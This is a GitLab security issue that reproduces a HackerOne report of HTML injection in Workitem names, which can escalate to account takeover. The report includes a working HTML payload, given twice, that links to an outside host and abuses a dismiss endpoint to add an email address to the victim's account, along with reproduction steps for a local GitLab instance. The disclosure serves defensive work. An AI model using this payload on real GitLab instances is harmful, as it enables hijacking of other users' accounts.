HTML injection in Workitem name leads to account takeover
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #3189522](https://hackerone.com/reports/3189522)** by `joaxcar` on 2025-06-11, assigned to `GitLab Team`:
[Report](#report) | [How To Reproduce](#how-to-reproduce)
## Report
#### Summary
This is similar to the issue reported here https://hackerone.com/reports/REDACTED that got fixed in https://about.gitlab.com/releases/2025/06/11/patch-release-gitlab-18-0-2-released/
This time its the name of `Workitems` that re rendered directly using `v-safe-html`. Which is somewhat safe but that can still be abused for some injection attacks as I proved in #3085738
By naming a `Workitem`
```html
<a href=/\\joaxcar.com/fun/delay/workitem.html><div class=js-new-user-signups-cap-reached data-dismiss-endpoint='/api/v4/user/emails?email=a@test.se' data-defer-links=false data-feature-id=1><button class='js-close fixed-top gl-h-full gl-w-full'>
```
and then visit the workitem page (ex., http://gdk.test:3000/test/test/-/issues/1), the entire screen will become a button that will lead to ATO by adding an email to the victim account.
At the moment `Workitems` are in `Beta` and thus not enabled on gitlab.com its possible to test it on a GDK instance
#### Steps to reproduce
1. Enable the three flags `work_item_planning_view`, `work_item_epics` and `namespace_level_work_items` on your GDK
2. Go into any project workitem list like this http://gdk.test:3000/test/test/-/work_items
3. Create a new workitem named
```html
<a href=/\\joaxcar.com/fun/delay/workitem.html><div class=js-new-user-signups-cap-reached data-dismiss-endpoint='/api/v4/user/emails?email=a@test.se' data-defer-links=false data-feature-id=1><button class='js-close fixed-top gl-h-full gl-w-full'>
```
4. Visit http://gdk.test:3000/test/test/-/issues/1
5. Click anywhere and the attack should start like in my other report
#### Impact
HTML injection that can be escalated to ATO
#### What is the current *bug* behavior?
HTML is not sanitized in workitem names
#### What is the expected *correct* behavior?
There should be better sanitation on work items
#### Impact
HTML injection that can be escalated to ATO
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue